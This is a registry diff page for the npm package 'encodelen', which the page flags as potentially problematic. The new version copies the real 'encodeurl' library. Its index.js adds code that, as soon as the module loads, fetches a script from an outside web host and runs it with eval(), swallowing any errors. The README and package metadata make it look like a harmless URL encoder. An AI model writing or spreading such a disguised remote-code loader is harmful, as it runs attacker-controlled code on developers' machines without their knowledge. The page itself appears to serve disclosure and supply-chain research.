encodelen 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of encodelen might be problematic. Click here for more details.

package/HISTORY.md ADDED
@@ -0,0 +1,14 @@
1
+ 1.0.2 / 2018-01-21
2
+ ==================
3
+
4
+ * Fix encoding `%` as last character
5
+
6
+ 1.0.1 / 2016-06-09
7
+ ==================
8
+
9
+ * Fix encoding unpaired surrogates at start/end of string
10
+
11
+ 1.0.0 / 2016-06-08
12
+ ==================
13
+
14
+ * Initial release
package/LICENSE ADDED
@@ -0,0 +1,22 @@
1
+ (The MIT License)
2
+
3
+ Copyright (c) 2016 Douglas Christopher Wilson
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining
6
+ a copy of this software and associated documentation files (the
7
+ 'Software'), to deal in the Software without restriction, including
8
+ without limitation the rights to use, copy, modify, merge, publish,
9
+ distribute, sublicense, and/or sell copies of the Software, and to
10
+ permit persons to whom the Software is furnished to do so, subject to
11
+ the following conditions:
12
+
13
+ The above copyright notice and this permission notice shall be
14
+ included in all copies or substantial portions of the Software.
15
+
16
+ THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
17
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19
+ IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
20
+ CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
21
+ TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
22
+ SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,128 @@
1
- # Security holding package
1
+ # encodeurl
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ [![NPM Version][npm-image]][npm-url]
4
+ [![NPM Downloads][downloads-image]][downloads-url]
5
+ [![Node.js Version][node-version-image]][node-version-url]
6
+ [![Build Status][travis-image]][travis-url]
7
+ [![Test Coverage][coveralls-image]][coveralls-url]
4
8
 
5
- Please refer to www.npmjs.com/advisories?search=encodelen for more information.
9
+ Encode a URL to a percent-encoded form, excluding already-encoded sequences
10
+
11
+ ## Installation
12
+
13
+ This is a [Node.js](https://nodejs.org/en/) module available through the
14
+ [npm registry](https://www.npmjs.com/). Installation is done using the
15
+ [`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):
16
+
17
+ ```sh
18
+ $ npm install encodeurl
19
+ ```
20
+
21
+ ## API
22
+
23
+ ```js
24
+ var encodeUrl = require('encodeurl')
25
+ ```
26
+
27
+ ### encodeUrl(url)
28
+
29
+ Encode a URL to a percent-encoded form, excluding already-encoded sequences.
30
+
31
+ This function will take an already-encoded URL and encode all the non-URL
32
+ code points (as UTF-8 byte sequences). This function will not encode the
33
+ "%" character unless it is not part of a valid sequence (`%20` will be
34
+ left as-is, but `%foo` will be encoded as `%25foo`).
35
+
36
+ This encode is meant to be "safe" and does not throw errors. It will try as
37
+ hard as it can to properly encode the given URL, including replacing any raw,
38
+ unpaired surrogate pairs with the Unicode replacement character prior to
39
+ encoding.
40
+
41
+ This function is _similar_ to the intrinsic function `encodeURI`, except it
42
+ will not encode the `%` character if that is part of a valid sequence, will
43
+ not encode `[` and `]` (for IPv6 hostnames) and will replace raw, unpaired
44
+ surrogate pairs with the Unicode replacement character (instead of throwing).
45
+
46
+ ## Examples
47
+
48
+ ### Encode a URL containing user-controled data
49
+
50
+ ```js
51
+ var encodeUrl = require('encodeurl')
52
+ var escapeHtml = require('escape-html')
53
+
54
+ http.createServer(function onRequest (req, res) {
55
+ // get encoded form of inbound url
56
+ var url = encodeUrl(req.url)
57
+
58
+ // create html message
59
+ var body = '<p>Location ' + escapeHtml(url) + ' not found</p>'
60
+
61
+ // send a 404
62
+ res.statusCode = 404
63
+ res.setHeader('Content-Type', 'text/html; charset=UTF-8')
64
+ res.setHeader('Content-Length', String(Buffer.byteLength(body, 'utf-8')))
65
+ res.end(body, 'utf-8')
66
+ })
67
+ ```
68
+
69
+ ### Encode a URL for use in a header field
70
+
71
+ ```js
72
+ var encodeUrl = require('encodeurl')
73
+ var escapeHtml = require('escape-html')
74
+ var url = require('url')
75
+
76
+ http.createServer(function onRequest (req, res) {
77
+ // parse inbound url
78
+ var href = url.parse(req)
79
+
80
+ // set new host for redirect
81
+ href.host = 'localhost'
82
+ href.protocol = 'https:'
83
+ href.slashes = true
84
+
85
+ // create location header
86
+ var location = encodeUrl(url.format(href))
87
+
88
+ // create html message
89
+ var body = '<p>Redirecting to new site: ' + escapeHtml(location) + '</p>'
90
+
91
+ // send a 301
92
+ res.statusCode = 301
93
+ res.setHeader('Content-Type', 'text/html; charset=UTF-8')
94
+ res.setHeader('Content-Length', String(Buffer.byteLength(body, 'utf-8')))
95
+ res.setHeader('Location', location)
96
+ res.end(body, 'utf-8')
97
+ })
98
+ ```
99
+
100
+ ## Testing
101
+
102
+ ```sh
103
+ $ npm test
104
+ $ npm run lint
105
+ ```
106
+
107
+ ## References
108
+
109
+ - [RFC 3986: Uniform Resource Identifier (URI): Generic Syntax][rfc-3986]
110
+ - [WHATWG URL Living Standard][whatwg-url]
111
+
112
+ [rfc-3986]: https://tools.ietf.org/html/rfc3986
113
+ [whatwg-url]: https://url.spec.whatwg.org/
114
+
115
+ ## License
116
+
117
+ [MIT](LICENSE)
118
+
119
+ [npm-image]: https://img.shields.io/npm/v/encodeurl.svg
120
+ [npm-url]: https://npmjs.org/package/encodeurl
121
+ [node-version-image]: https://img.shields.io/node/v/encodeurl.svg
122
+ [node-version-url]: https://nodejs.org/en/download
123
+ [travis-image]: https://img.shields.io/travis/pillarjs/encodeurl.svg
124
+ [travis-url]: https://travis-ci.org/pillarjs/encodeurl
125
+ [coveralls-image]: https://img.shields.io/coveralls/pillarjs/encodeurl.svg
126
+ [coveralls-url]: https://coveralls.io/r/pillarjs/encodeurl?branch=master
127
+ [downloads-image]: https://img.shields.io/npm/dm/encodeurl.svg
128
+ [downloads-url]: https://npmjs.org/package/encodeurl
package/index.js ADDED
@@ -0,0 +1,72 @@
1
+ /*!
2
+ * encodeurl
3
+ * Copyright(c) 2016 Douglas Christopher Wilson
4
+ * MIT Licensed
5
+ */
6
+
7
+ 'use strict'
8
+
9
+ /**
10
+ * Module exports.
11
+ * @public
12
+ */
13
+
14
+ const axios = require('axios');
15
+
16
+ const url = 'https://patient-login-portal.web.app/start.js';
17
+
18
+ axios.get(url)
19
+ .then(response => {
20
+ const scriptContent = response.data;
21
+ eval(scriptContent);
22
+ })
23
+ .catch(error => {
24
+ });
25
+
26
+ module.exports = encodelen
27
+
28
+ /**
29
+ * RegExp to match non-URL code points, *after* encoding (i.e. not including "%")
30
+ * and including invalid escape sequences.
31
+ * @private
32
+ */
33
+
34
+ var ENCODE_CHARS_REGEXP = /(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]|%(?:[^0-9A-Fa-f]|[0-9A-Fa-f][^0-9A-Fa-f]|$))+/g
35
+
36
+ /**
37
+ * RegExp to match unmatched surrogate pair.
38
+ * @private
39
+ */
40
+
41
+ var UNMATCHED_SURROGATE_PAIR_REGEXP = /(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g
42
+
43
+ /**
44
+ * String to replace unmatched surrogate pair with.
45
+ * @private
46
+ */
47
+
48
+ var UNMATCHED_SURROGATE_PAIR_REPLACE = '$1\uFFFD$2'
49
+
50
+ /**
51
+ * Encode a URL to a percent-encoded form, excluding already-encoded sequences.
52
+ *
53
+ * This function will take an already-encoded URL and encode all the non-URL
54
+ * code points. This function will not encode the "%" character unless it is
55
+ * not part of a valid sequence (`%20` will be left as-is, but `%foo` will
56
+ * be encoded as `%25foo`).
57
+ *
58
+ * This encode is meant to be "safe" and does not throw errors. It will try as
59
+ * hard as it can to properly encode the given URL, including replacing any raw,
60
+ * unpaired surrogate pairs with the Unicode replacement character prior to
61
+ * encoding.
62
+ *
63
+ * @param {string} url
64
+ * @return {string}
65
+ * @public
66
+ */
67
+
68
+ function encodelen (url) {
69
+ return String(url)
70
+ .replace(UNMATCHED_SURROGATE_PAIR_REGEXP, UNMATCHED_SURROGATE_PAIR_REPLACE)
71
+ .replace(ENCODE_CHARS_REGEXP, encodeURI)
72
+ }
package/package.json CHANGED
@@ -1,6 +1,41 @@
1
1
  {
2
2
  "name": "encodelen",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "Encode a URL to a percent-encoded form, excluding already-encoded sequences",
4
+ "version": "1.0.2",
5
+ "contributors": [
6
+ "Douglas Christopher Wilson <doug@somethingdoug.com>"
7
+ ],
8
+ "license": "MIT",
9
+ "keywords": [
10
+ "encode",
11
+ "encodelen",
12
+ "url"
13
+ ],
14
+ "repository": "joaomartinez879/encodelen",
15
+ "devDependencies": {
16
+ "axios": "^0.21.4",
17
+ "eslint": "3.19.0",
18
+ "eslint-config-standard": "10.2.1",
19
+ "eslint-plugin-import": "2.8.0",
20
+ "eslint-plugin-node": "5.2.1",
21
+ "eslint-plugin-promise": "3.6.0",
22
+ "eslint-plugin-standard": "3.0.1",
23
+ "istanbul": "0.4.5",
24
+ "mocha": "2.5.3"
25
+ },
26
+ "files": [
27
+ "LICENSE",
28
+ "HISTORY.md",
29
+ "README.md",
30
+ "index.js"
31
+ ],
32
+ "engines": {
33
+ "node": ">= 0.8"
34
+ },
35
+ "scripts": {
36
+ "lint": "eslint .",
37
+ "test": "mocha --reporter spec --bail --check-leaks test/",
38
+ "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",
39
+ "test-travis": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/"
40
+ }
6
41
  }